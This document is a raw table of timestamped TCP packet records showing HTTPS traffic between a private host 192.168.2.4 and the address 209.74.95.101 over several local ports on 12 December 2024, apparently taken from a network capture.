Dec 12, 2024 12:08:52.865339041 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.865401983 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.865411997 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.865462065 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.866949081 CET	50014	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.866970062 CET	443	50014	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.870600939 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.870656967 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.870728970 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.870953083 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.870971918 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.879888058 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.914259911 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.914273977 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.914360046 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.914393902 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.936444044 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.936456919 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.936542034 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.936554909 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.952416897 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.954708099 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.954946041 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.954969883 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.955069065 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.955075979 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.955974102 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.956006050 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.956033945 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956073999 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956348896 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956412077 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.956639051 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956693888 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.956772089 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956779957 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.956830025 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.956835032 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.958678007 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.958940029 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.958969116 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.962510109 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.962605953 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.962862968 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.962932110 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.962971926 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.966169119 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.966180086 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.966200113 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.966233015 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.966270924 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.966286898 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.982958078 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.982966900 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.982995033 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:52.983128071 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.983128071 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:52.983165026 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.003954887 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.004040956 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.004060030 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.004241943 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.029603004 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.029879093 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.029912949 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.033586025 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.033655882 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.033989906 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.034070015 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.034125090 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.037429094 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.056853056 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.079333067 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.087601900 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.087619066 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.095525980 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.095540047 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.095566034 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.095741987 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.095741987 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.112689018 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.112703085 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.112730026 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.112878084 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.112879038 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.112919092 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.124541044 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.124548912 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.124613047 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.124624968 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.136657953 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.140129089 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.140137911 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.140218973 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.140228987 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.149732113 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.150933981 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.150954008 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.151308060 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.151323080 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.151329041 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.151374102 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.151382923 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.151408911 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.154422045 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.154495001 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.155775070 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.155857086 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.155935049 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.162986994 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.163027048 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.163085938 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.163104057 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.166070938 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.174659014 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.174668074 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.174737930 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.174747944 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.186104059 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.186136007 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.186177969 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.186187029 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.186218023 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.199341059 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.209800959 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.209826946 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.236920118 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.254654884 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.286138058 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.286151886 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.286178112 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.286235094 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.286278963 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.294723988 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.294742107 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.294799089 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.294851065 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.294864893 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.307387114 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.307432890 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.307462931 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.307475090 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.307503939 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.315500975 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.315538883 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.315577984 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.315587997 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.315623045 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.323528051 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.323553085 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.323652029 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.323668957 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.334201097 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.334244013 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.334285021 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.334299088 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.334326029 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.341751099 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.341826916 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.341836929 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.349947929 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.349968910 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.350013018 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.350025892 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.350039959 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.360316992 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.360387087 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.360395908 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.369184017 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.369209051 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.369256020 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.369268894 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.377621889 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.377664089 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.377703905 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.377713919 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.377746105 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.385356903 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.385428905 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.385449886 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.393781900 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.393857002 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.393867970 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.401705980 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.401746988 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.401774883 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.401784897 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.401823997 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.443253040 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.443262100 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.455210924 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.455235004 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.455295086 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.455298901 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.455339909 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.456465960 CET	50021	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.456476927 CET	443	50021	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.458360910 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.458422899 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.458473921 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.458482981 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.458528996 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.458583117 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.458631039 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.463025093 CET	50023	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.463028908 CET	443	50023	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.466625929 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.466659069 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.466759920 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.466968060 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.466980934 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.471791029 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.471805096 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.472055912 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.472234011 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.472244978 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.476737022 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.476759911 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.476846933 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.476860046 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.481760979 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.481780052 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.481796980 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.481822014 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.481832981 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.481869936 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.487677097 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.487703085 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.487723112 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.487739086 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.487756014 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.487787008 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.495325089 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.495335102 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.495389938 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.495403051 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.501315117 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.501322985 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.501379013 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.501391888 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.506588936 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.506608009 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.506665945 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.506678104 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.514118910 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.514138937 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.514317036 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.514317036 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.514352083 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.518583059 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.518625021 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.518656015 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.518670082 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.518686056 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.523613930 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.523685932 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.523695946 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525075912 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525142908 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525166035 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525186062 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525212049 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.525247097 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.525264978 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.528690100 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.528769970 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.528779030 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.534463882 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.534552097 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.534562111 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.537945032 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.538048983 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.538058996 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.541505098 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.541605949 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.541615009 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.544380903 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.544555902 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.544565916 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.547203064 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.547271967 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.547281981 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.550097942 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.550179005 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.550189018 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.553911924 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.554007053 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.554017067 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.565656900 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.588783979 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.588821888 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.588840008 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.588856936 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.588895082 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.588984966 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.599625111 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.606822968 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.606861115 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.606870890 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.606897116 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.606914997 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.606926918 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.606955051 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.630247116 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.661931992 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.670655966 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.670665979 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.670829058 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.670864105 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.673839092 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.673846960 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.673923016 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.673935890 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.676649094 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.676676989 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.676708937 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.676719904 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.676744938 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.679929018 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.679981947 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.679992914 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.682349920 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.682406902 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.682416916 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.685941935 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.686008930 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.686018944 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.689044952 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.689109087 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.689119101 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.691700935 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.691767931 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.691776991 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.693451881 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.693594933 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.693622112 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.693640947 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.694569111 CET	50013	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.694587946 CET	443	50013	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.697237015 CET	443	50022	209.74.95.101	192.168.2.4
